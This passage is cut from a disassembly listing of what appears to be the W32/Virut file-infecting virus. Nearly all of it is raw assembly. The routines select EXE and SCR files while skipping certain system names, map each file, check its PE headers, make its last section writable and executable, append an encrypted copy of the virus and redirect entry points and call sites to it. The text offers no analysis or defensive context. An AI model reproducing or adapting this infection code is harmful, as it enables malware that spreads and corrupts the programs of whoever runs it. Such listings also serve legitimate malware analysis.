61h stosb loc_40BC66: ; CODE XREF: seg002:0040BC44j mov ax, 0E0FFh or ah, ss:byte_403429[ebp] stosw test ss:dword_403431[ebp], 20h jz short loc_40BCD1 test ss:dword_403431[ebp], 20000000h jz short loc_40BC97 loc_40BC8A: ; CODE XREF: seg002:0040BC95j test edi, 3 jz short loc_40BC97 mov al, 90h stosb jmp short loc_40BC8A ; --------------------------------------------------------------------------- loc_40BC97: ; CODE XREF: seg002:0040BC88j ; seg002:0040BC90j mov eax, edi mov ecx, ss:dword_403982[ebp] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, ss:byte_403429[ebp] stosb test ss:dword_403431[ebp], 400000h jz short loc_40BCC5 mov ax, 0C350h or al, ss:byte_403429[ebp] jmp short loc_40BCCF ; --------------------------------------------------------------------------- loc_40BCC5: ; CODE XREF: seg002:0040BCB7j mov ax, 0E0FFh or ah, ss:byte_403429[ebp] loc_40BCCF: ; CODE XREF: seg002:0040BCC3j stosw loc_40BCD1: ; CODE XREF: seg002:0040BC7Cj test ss:dword_403431[ebp], 1000003h jz short loc_40BD50 test ss:dword_403431[ebp], 20000000h jz short loc_40BCF6 loc_40BCE9: ; CODE XREF: seg002:0040BCF4j test edi, 3 jz short loc_40BCF6 mov al, 90h stosb jmp short loc_40BCE9 ; --------------------------------------------------------------------------- loc_40BCF6: ; CODE XREF: seg002:0040BCE7j ; seg002:0040BCEFj mov ecx, edi mov eax, ss:dword_40399A[ebp] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test ss:dword_403431[ebp], 800000h jnz short loc_40BD1F lea eax, byte_403429[ebp] loc_40BD17: ; CODE XREF: seg002:0040BD1Dj mov cl, [eax] inc eax cmp cl, 3 jnb short loc_40BD17 loc_40BD1F: ; CODE XREF: seg002:0040BD0Fj lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_40BD34 mov ax, 0C031h stosw loc_40BD34: ; CODE XREF: seg002:0040BD2Cj mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_40BD4D mov ax, 0C031h stosw loc_40BD4D: ; CODE XREF: seg002:0040BD45j mov al, 0C3h stosb loc_40BD50: ; CODE XREF: seg002:0040BCDBj lea eax, dword_40343C[ebp] test ss:dword_403431[ebp], 10000000h jnz short loc_40BD68 push edi sub edi, eax pop eax jmp short loc_40BD81 ; --------------------------------------------------------------------------- loc_40BD68: ; CODE XREF: seg002:0040BD60j mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, ss:dword_4039A2[ebp] add ss:dword_403982[ebp], edx add [ecx], edi mov eax, [esp+4] loc_40BD81: ; CODE XREF: seg002:0040BD66j mov [ebp+40106Dh], edi mov edi, ss:dword_403986[ebp] sub eax, ss:dword_403982[ebp] test ss:dword_403431[ebp], 40h jz short loc_40BDA1 neg eax loc_40BDA1: ; CODE XREF: seg002:0040BD9Dj stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_40BDA5 proc near ; CODE XREF: sub_40C1D1+2A8p push esi push edi cmp dword ptr ss:unk_4039AE[ebp], 0 jz loc_40BF8D call near ptr loc_40BDC5+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_40BDC5: ; CODE XREF: sub_40BDA5+Fp add bh, bh sub_40BDA5 endp ; sp-analysis failed xchg eax, ebp mov ds:85890040h, dh mov esi, 53004039h mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call sub_40B4DF mov edx, ss:dword_4039A6[ebp] pop ebx add eax, [edx+0Ch] mov [ebp+4039C2h], eax add eax, [edx+8] mov [ebp+4039C6h], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call sub_40B4DF mov edi, ss:dword_4039A6[ebp] push esi call sub_40B4DF mov edx, ss:dword_4039A6[ebp] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_40BF8D jz loc_40BF8D add esi, ss:dword_4039AA[ebp] add esi, [ebp+403972h] ; START OF FUNCTION CHUNK FOR sub_40BF5E loc_40BE3F: ; CODE XREF: sub_40BF5E+29j lodsb cmp al, 0E8h jnz loc_40BEEA lea eax, [esi+4] sub eax, [ebp+403972h] add eax, [esi] push eax call sub_40B4DF cmp ss:dword_4039A6[ebp], 0 jnz short loc_40BE6D cmp eax, [edi+0Ch] jnb loc_40BF86 jmp short loc_40BE79 ; --------------------------------------------------------------------------- loc_40BE6D: ; CODE XREF: sub_40BF5E-FEj cmp ss:dword_4039A6[ebp], edx jnz loc_40BF86 loc_40BE79: ; CODE XREF: sub_40BF5E-F3j add eax, [ebp+403972h] cmp word ptr [eax], 25FFh jnz loc_40BF86 mov eax, [eax+2] sub eax, [ebx+34h] push eax call sub_40B4DF cmp ss:dword_4039A6[ebp], edi jnz loc_40BF86 add eax, ss:dword_4039AA[ebp] add eax, [ebp+403972h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_40BF86 cmp eax, [edi+8] jnb loc_40BF86 loc_40BEC2: ; CODE XREF: sub_40BF5E+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+403972h] push edx push eax push ss:dword_4039BE[ebp] call ss:dword_403548[ebp] pop edx test eax, eax jnz loc_40BF9C jmp loc_40BF86 ; --------------------------------------------------------------------------- loc_40BEEA: ; CODE XREF: sub_40BF5E-11Cj cmp al, 0FFh jnz loc_40BF86 cmp byte ptr [esi], 15h jnz loc_40BF86 mov eax, [esi+1] sub eax, [ebx+34h] push eax call sub_40B4DF cmp ss:dword_4039A6[ebp], edi jnz short loc_40BF86 add eax, ss:dword_4039AA[ebp] add eax, [ebp+403972h] mov ss:dword_4039CA[ebp], eax mov eax, [eax] cmp eax, ss:dword_4039C2[ebp] jb short loc_40BF33 cmp eax, ss:dword_4039C6[ebp] jb short loc_40BF9C loc_40BF33: ; CODE XREF: sub_40BF5E-35j cmp eax, 70000000h jb short loc_40BF71 call sub_40BF5E lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, ss:dword_4039CA[ebp] jnz short locret_40BF5D add esp, 10h push dword ptr [ecx] pop [esp-0Ch+arg_24] popa jmp short loc_40BF78 ; --------------------------------------------------------------------------- locret_40BF5D: ; CODE XREF: sub_40BF5E-Fj retn ; END OF FUNCTION CHUNK FOR sub_40BF5E ; =============== S U B R O U T I N E ======================================= sub_40BF5E proc near ; CODE XREF: sub_40BF5E-24p var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 0040BE3F SIZE 0000011F BYTES pop ss:dword_403992[ebp] pusha mov esi, [ebp+403972h] call sub_40B5E6 popa loc_40BF71: ; CODE XREF: sub_40BF5E-26j test eax, 80000000h jnz short loc_40BF86 loc_40BF78: ; CODE XREF: sub_40BF5E-3j sub eax, [edi+0Ch] jb short loc_40BF86 cmp eax, [edi+8] jb loc_40BEC2 loc_40BF86: ; CODE XREF: sub_40BF5E-F9j ; sub_40BF5E-EBj ... dec ecx jnz loc_40BE3F loc_40BF8D: ; CODE XREF: sub_40BDA5+9j ; seg002:0040BE27j ... mov edi, [esp-4+arg_0] and dword ptr [edi+2431h], 7FFFFFFFh jmp short loc_40BFD8 ; --------------------------------------------------------------------------- loc_40BF9C: ; CODE XREF: sub_40BF5E-7Fj ; sub_40BF5E-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+8+var_8] xchg eax, dword ptr ss:unk_4039AE[ebp] lea edi, [ecx+2435h] add eax, [ebp+403972h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+52h], 5 mov [esi-4], eax loc_40BFD8: ; CODE XREF: sub_40BF5E+3Cj pop edi pop esi retn sub_40BF5E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40BFDB proc near ; CODE XREF: seg002:0040C1A9p ; sub_40C1D1+127p lea esi, [ebp+40384Eh] push esi call dword ptr [ebp+40357Ch] cmp eax, 0FFFFFFFFh jz locret_40C0AC mov [ebp+403952h], eax push 0 push esi call dword ptr [ebp+4035B4h] test eax, eax jz locret_40C0AC sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call ss:dword_40355C[ebp] cmp eax, 0FFFFFFFFh jz loc_40C564 mov [ebp+403956h], eax lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push eax call dword ptr [ebp+403584h] cmp eax, 0FFFFFFFFh jz loc_40C558 push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+403580h] cmp eax, 0FFFFFFFFh jz loc_40C558 mov [ebp+40396Ah], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+403956h] call dword ptr [ebp+403560h] test eax, eax jz loc_40C558 xor ecx, ecx mov [ebp+40396Eh], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+4035A0h] test eax, eax jz loc_40C530 mov [ebp+403972h], eax locret_40C0AC: ; CODE XREF: sub_40BFDB+10j ; sub_40BFDB+27j ... retn sub_40BFDB endp ; =============== S U B R O U T I N E ======================================= sub_40C0AD proc near ; CODE XREF: sub_40C1D1+117p ; sub_40C1D1+223p mov eax, 69CDh mov ecx, [ebx+38h] test ss:dword_403431[ebp], 10000000h jnz short loc_40C0C7 add eax, [ebp+40106Dh] loc_40C0C7: ; CODE XREF: sub_40C0AD+12j xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+40397Ah], eax mov eax, 243Bh mov ecx, [ebx+3Ch] add eax, [ebp+40106Dh] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+403976h], eax retn sub_40C0AD endp ; =============== S U B R O U T I N E ======================================= sub_40C0F2 proc near ; CODE XREF: sub_40C1D1:loc_40C220p ; sub_40C1D1+13Dp movzx ecx, word ptr [ebx+6] stc loc_40C0F7: ; CODE XREF: sub_40C0F2+23j jecxz short locret_40C12E lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_40C12E cmp dword ptr [edx+0Ch], 1 jb short loc_40C0F7 mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+40396Ah] locret_40C12E: ; CODE XREF: sub_40C0F2:loc_40C0F7j ; sub_40C0F2+1Dj ... retn sub_40C0F2 endp ; =============== S U B R O U T I N E ======================================= sub_40C12F proc near ; CODE XREF: seg002:0040C1BBp arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_40C12F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_40C13C: ; CODE XREF: seg002:0040C15Dj mov ecx, edi jmp short loc_40C14B ; --------------------------------------------------------------------------- lea edi, [ebp+40384Eh] cld loc_40C147: ; CODE XREF: seg002:0040C159j mov ebx, edi xor ecx, ecx loc_40C14B: ; CODE XREF: seg002:0040C13Ej ; seg002:0040C161j lodsb cmp al, 61h jb short loc_40C156 cmp al, 7Ah ja short loc_40C156 sub al, 20h loc_40C156: ; CODE XREF: seg002:0040C14Ej ; seg002:0040C152j stosb cmp al, 5Ch jz short loc_40C147 cmp al, 2Eh jz short loc_40C13C cmp al, 0 jnz short loc_40C14B jecxz short locret_40C12E mov eax, [ecx] cmp eax, 455845h jz short loc_40C179 cmp eax, 524353h jnz locret_40C0AC loc_40C179: ; CODE XREF: seg002:0040C16Cj mov eax, [ebx] cmp eax, 434E4957h jz locret_40C0AC cmp eax, 4E554357h jz locret_40C0AC cmp eax, 32334357h jz locret_40C0AC cmp eax, 4F545350h jz locret_40C0AC xor ebx, ebx call sub_40BFDB jz locret_40C0AC xor edx, edx call sub_40C1D1 call sub_40C12F call $+5 pop ebp sub ebp, 402F8Ah jmp loc_40C50E ; =============== S U B R O U T I N E ======================================= sub_40C1D1 proc near ; CODE XREF: seg002:0040C1B6p var_14 = dword ptr -14h push dword ptr fs:[edx] mov esi, [ebp+403972h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_40C50E mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_40C50E test dword ptr [ebx+16h], 2000h jnz loc_40C50E test byte ptr [ebx+5Ch], 2 mov ecx, [esi+20h] jz loc_40C50E jecxz short loc_40C220 cmp ecx, 101h jbe loc_40C50E loc_40C220: ; CODE XREF: sub_40C1D1+41j call sub_40C0F2 jb loc_40C50E mov ecx, [edx+10h] add ecx, [edx+0Ch] mov eax, 10000h push ecx call sub_40AD2A xor ss:byte_40342F[ebp], dl mov cl, 20h xor ss:byte_403430[ebp], dh loc_40C24A: ; CODE XREF: sub_40C1D1+92j push 20h dec cl pop eax js short loc_40C265 call sub_40AD2A test edx, edx setz dl shl edx, cl xor ss:dword_403431[ebp], edx jmp short loc_40C24A ; --------------------------------------------------------------------------- loc_40C265: ; CODE XREF: sub_40C1D1+7Ej ; sub_40C1D1+CDj ... push 6 pop ecx loc_40C26B: ; CODE XREF: sub_40C1D1+B8j push 6 pop eax call sub_40AD2A mov al, ss:byte_403429[ebp] xchg al, byte_403429[edx+ebp] mov ss:byte_403429[ebp], al loop loc_40C26B test ss:dword_403431[ebp], 8 jnz short loc_40C2A0 cmp ss:byte_40342B[ebp], 1 jz short loc_40C265 loc_40C2A0: ; CODE XREF: sub_40C1D1+C4j test ss:dword_403431[ebp], 1000003h jz short loc_40C2C7 cmp ss:byte_403429[ebp], 5 jz short loc_40C265 cmp ss:byte_40342A[ebp], 5 jz short loc_40C265 cmp ss:byte_40342B[ebp], 5 jz short loc_40C265 loc_40C2C7: ; CODE XREF: sub_40C1D1+D9j test ss:dword_403431[ebp], 80000000h jz short loc_40C2DC cmp ss:byte_403429[ebp], 2 ja short loc_40C265 loc_40C2DC: ; CODE XREF: sub_40C1D1+100j and dword ptr ss:unk_4039AE[ebp], 0 call loc_40B777 call sub_40C0AD call sub_40C517 mov ebx, [ebp+403976h] call sub_40BFDB jz loc_40C50E mov esi, [ebp+403972h] mov ebx, [esi+3Ch] add ebx, esi call sub_40C0F2 jb loc_40C50E or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test ss:dword_403431[ebp], 10000000h jnz short loc_40C344 lea esi, dword_40343C[ebp] mov ecx, [ebp+40106Dh] rep movsb loc_40C344: ; CODE XREF: sub_40C1D1+163j push edi mov ecx, 90Fh lea esi, sub_401000[ebp] rep movsd mov cl, 0 jecxz short loc_40C358 rep movsb loc_40C358: ; CODE XREF: sub_40C1D1+183j test ss:dword_403431[ebp], 10000000h jz loc_40C410 push dword ptr [ebx+28h] call sub_40B4DF mov edx, ss:dword_4039A6[ebp] test edx, edx jz loc_40C410 mov esi, [ebp+403972h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_40C395 xor ecx, ecx loc_40C395: ; CODE XREF: sub_40C1D1+1C0j add esi, [edx+14h] cmp ecx, [ebp+40106Dh] mov ecx, [ebp+40106Dh] jb short loc_40C3FC mov edi, [esp+14h+var_14] and dword ptr [ebp+40106Dh], 0 and dword ptr [edi+6Dh], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, ss:dword_403986[ebp] test ss:dword_403431[ebp], 40h jz short loc_40C3D5 neg dword ptr [eax] loc_40C3D5: ; CODE XREF: sub_40C1D1+200j add esi, [edx+0Ch] sub [eax], esi mov dword ptr ss:unk_4039AE[ebp], esi mov esi, [ebx+28h] add [eax], esi test ss:dword_403431[ebp], 40h jz short loc_40C3F3 neg dword ptr [eax] loc_40C3F3: ; CODE XREF: sub_40C1D1+21Ej push ecx call sub_40C0AD pop ecx jmp short loc_40C408 ; --------------------------------------------------------------------------- loc_40C3FC: ; CODE XREF: sub_40C1D1+1D3j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_40C408: ; CODE XREF: sub_40C1D1+229j lea esi, dword_40343C[ebp] rep movsb loc_40C410: ; CODE XREF: sub_40C1D1+191j ; sub_40C1D1+1A7j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+1D2h] cmp dl, ss:byte_40342F[ebp] jnz short loc_40C429 imul edx, 12345678h loc_40C429: ; CODE XREF: sub_40C1D1+250j mov [eax-1], dl call sub_40A3FD pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test ss:dword_403431[ebp], 10000000h lea eax, [ecx+6] jnz short loc_40C45A mov dword ptr ss:unk_4039AE[ebp], ecx add eax, [ebp+40106Dh] and dword ptr [edi+6Dh], 0 loc_40C45A: ; CODE XREF: sub_40C1D1+274j sub eax, [ebx+28h] push ss:dword_40397E[ebp] mov [edi+52h], eax pop dword ptr [esi+20h] test ss:dword_403431[ebp], 80000000h jz short loc_40C47F push edx call sub_40BDA5 pop edx loc_40C47F: ; CODE XREF: sub_40C1D1+2A5j mov ecx, dword ptr ss:unk_4039AE[ebp] jecxz short loc_40C48A mov [ebx+28h], ecx loc_40C48A: ; CODE XREF: sub_40C1D1+2B4j mov ecx, [edx+10h] mov eax, [ebp+403976h] cmp [edx+8], ecx jnb short loc_40C49B mov [edx+8], ecx loc_40C49B: ; CODE XREF: sub_40C1D1+2C5j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+40397Ah] push 243Ch add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, ss:byte_40342F[ebp] test ss:dword_403431[ebp], 10000000h jz short loc_40C4CC add ecx, [ebp+40106Dh] loc_40C4CC: ; CODE XREF: sub_40C1D1+2F3j mov dh, 0 test ss:dword_403431[ebp], 20000h jnz short loc_40C4EE inc dh test ss:dword_403431[ebp], 40000h jnz short loc_40C4EE mov dh, ss:byte_403430[ebp] loc_40C4EE: ; CODE XREF: sub_40C1D1+307j ; sub_40C1D1+315j test ss:dword_403431[ebp], 4000h jnz short loc_40C505 loc_40C4FA: ; CODE XREF: sub_40C1D1+330j mov al, [edi] add al, dl stosb add dl, dh loop loc_40C4FA jmp short loc_40C50E ; --------------------------------------------------------------------------- loc_40C505: ; CODE XREF: sub_40C1D1+327j ; sub_40C1D1+33Bj mov al, [edi] xor al, dl stosb add dl, dh loop loc_40C505 loc_40C50E: ; CODE XREF: seg002:0040C1CCj ; sub_40C1D1+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_40C1D1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C517 proc near ; CODE XREF: sub_40C1D1+11Cp cmp dword ptr [ebp+403956h], 0 jz locret_40C0AC push dword ptr [ebp+403972h] call dword ptr [ebp+4035C4h] loc_40C530: ; CODE XREF: sub_40BFDB+C5j push dword ptr [ebp+40396Eh] call ss:dword_40353C[ebp] lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+4035B8h] loc_40C558: ; CODE XREF: sub_40BFDB+6Bj ; sub_40BFDB+82j ... push dword ptr [ebp+403956h] call ss:dword_40353C[ebp] loc_40C564: ; CODE XREF: sub_40BFDB+45j lea esi, [ebp+40384Eh] push dword ptr [ebp+403952h] push esi call dword ptr [ebp+4035B4h] and dword ptr [ebp+403956h], 0 retn sub_40C517 endp ; --------------------------------------------------------------------------- db 0E8h dd 0 dd 81016A5Dh, 403349EDh, 0FF05800h, 158085C1h, 0C0850040h dd 0FFC883C3h, 85C10FF0h, 401580h, 103DC3h, 1C75002Ah dd 247C8166h, 75716C0Ch, 0C4E86013h, 75FFFFFFh, 0FB7EE805h dd 0D2E8FFFFh, 61FFFFFFh, 782DFF2Eh, 0B8123456h, 25h, 0FFA5E860h dd 3975FFFFh, 3024448Bh, 384EB58Dh, 508B0040h, 3A816608h dd 25730206h, 6856h, 0C48B00FFh, 5052006Ah, 35F895FFh dd 0C4830040h, 5C3E8108h, 755C3F3Fh, 4C68303h, 0FFFB2BE8h dd 0FF7FE8FFh, 0C361FFFFh, 74B8h, 0B8B1EB00h, 2Fh, 10E8h dd 20C200h, 30B8h, 3E800h, 24C20000h, 24548D00h, 832ECD0Ch dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 13ED811Ah dd 0E8004034h, 0FFFFE539h, 4C261h, 2070501h, 8BC0306h dd 2212C464h, 119415FFh, 900100h, 3Fh dup(0) dd 47000000h, 0AD7C809Bh, 317C8308h, 0A07C9103h, 7C80ADh dd 2 dup(0) dd 0B6000000h, 247C80BDh, 5C7C801Ah, 677C8094h, 2C7C8023h dd 377C8104h, 0F7C8106h, 587C864Bh, 0EC7C80C0h, 3C7C80E7h dd 777C8115h, 457C810Ah, 0A17C831Ch, 0FF7C80B6h, 0CA7C8608h dd 0DA7C835Dh, 0DE7C8111h, 777C812Ah, 57C801Dh, 767C80B9h dd 0E17C80BBh, 0E57C8309h, 587C863Dh, 827C863Fh, 0B87C8127h dd 427C831Ch, 1C7C8024h, 747C810Bh, 517C80B9h, 877C809Ah dd 607C810Dh, 827C90D4h, 547C90D6h, 697C90D7h, 937C90D7h dd 557C90D7h, 0FD7C90DCh, 907C90DCh, 0B67C90DDh, 327C90DEh dd 0C67C90EAh, 7C9130h, 15h dup(0) a68: unicode 0, <68> dw 0C894h a@ db '@',0 aBasenamedobj_0: unicode 0, <\BaseNamedObjects\W32_Virtu>,0 dd 0BBh dup(0) dd 5100h, 0Ch dup(0) dd 0FDF00000h, 7Fh, 1503h dup(0) seg002 ends ; Section 4. (virtual address 00012000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00012000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 412000h dd 80h dup(0) align 1000h _idata2 ends end start